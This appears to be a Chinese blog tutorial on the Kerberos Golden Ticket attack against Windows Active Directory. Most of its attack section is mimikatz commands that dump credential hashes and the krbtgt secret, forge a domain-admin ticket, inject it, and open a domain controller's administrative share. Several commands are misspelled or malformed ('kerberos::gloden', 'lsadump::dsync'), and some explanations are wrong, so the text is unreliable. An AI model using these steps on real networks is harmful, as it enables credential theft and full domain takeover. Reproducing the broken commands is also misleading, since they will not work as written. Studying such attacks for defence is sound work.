• 黄金票据(Golden Ticket)的原理与实践


    0、黄金票据是什么?


    在与认证过程中,经过client与AS的通信会得到TGT,带着TGT想TGS请求,得到票据ticket,用这个ticket可以来访问应用服务器。如果这段有什么疑问,欢迎参考Kerberos认证协议分析。而这个黄金票据就是自己生成的TGT,在生成TGT的过程中,user、domain、timestamp、还有权限等信息会经过krbtgt(该账号不自动更新)账户hash的加密,所以获取到用户、域、SID、krbtgt的hash值就可以生成黄金票据(一般拿到krbtgt需要域管权限,生成的票据当然也是域管账号的,这样就控了整个域,而且有了金票据,免除了as验证username、password的阶段,所以也不担心域管密码修改)。

    1、名词解释


    1.1 winlogon.exe

    接受Username和Password、Domain信息,传递给lsass.exe。

    1.2 lsass.exe

    lsass.exe经过kerberos机制处理Username和Password后与SAM(账号数据库)进行比对验证,返回登录失败的结果。

    1.3 SAM数据库

    存储账号密码Hash值的数据库。

    1.4 NetLogon

    域认证的加密信道(安全信道sChannel)。

    2、如何生成黄金票据


    2.1 生成黄金票据需要的信息

    2.1.1 windows域的名称

    PS C:UsersAdministrastor> systeminfo
    

    2.1.2 krbtgt和账号信息簇

    mimikatz# sekurlsa::kerberos
    mimikatz# sekurlsa::ticket /export
    mimikatz# sekurlsa::logonpassword
    mimikatz# lsadump::dsync /domain:xxx.xxx.xxx /user:krbtgt
    mimikatz# lsadump::lsa /patch -> sid+ntlm
    

    2.2 生成黄金票据

    #  使用krbtgt的hash值:
    mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi
    
    # 使用krbtgt的aes256值:
    mimikatz# kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi
    

    3 黄金票据的使用


    #  导入票据
    mimikatz::ptt test.kribi
    
    #检验缓存票据
    PS C:UsersAdministrastor> klist  
    
    #利用票据访问
    PS C:UsersAdministrastor> net use \xx.domain-name
    dir \xx.domain-namec$
    
  • 相关阅读:
    简单工厂
    Java鲁棒性(健壮性)
    外部类,成员内部类,局部内部类能被哪些修饰符修饰
    Java枚举类的7种常用的方法
    同步,异步,阻塞,非阻塞
    对于面向对象的基本理解
    对于数组的一点理解
    类加载机制-双亲委派机制(三)
    架构- 数据库的优化
    python调用jenkinsapi
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/9337747.html
Copyright © 2020-2023  润新知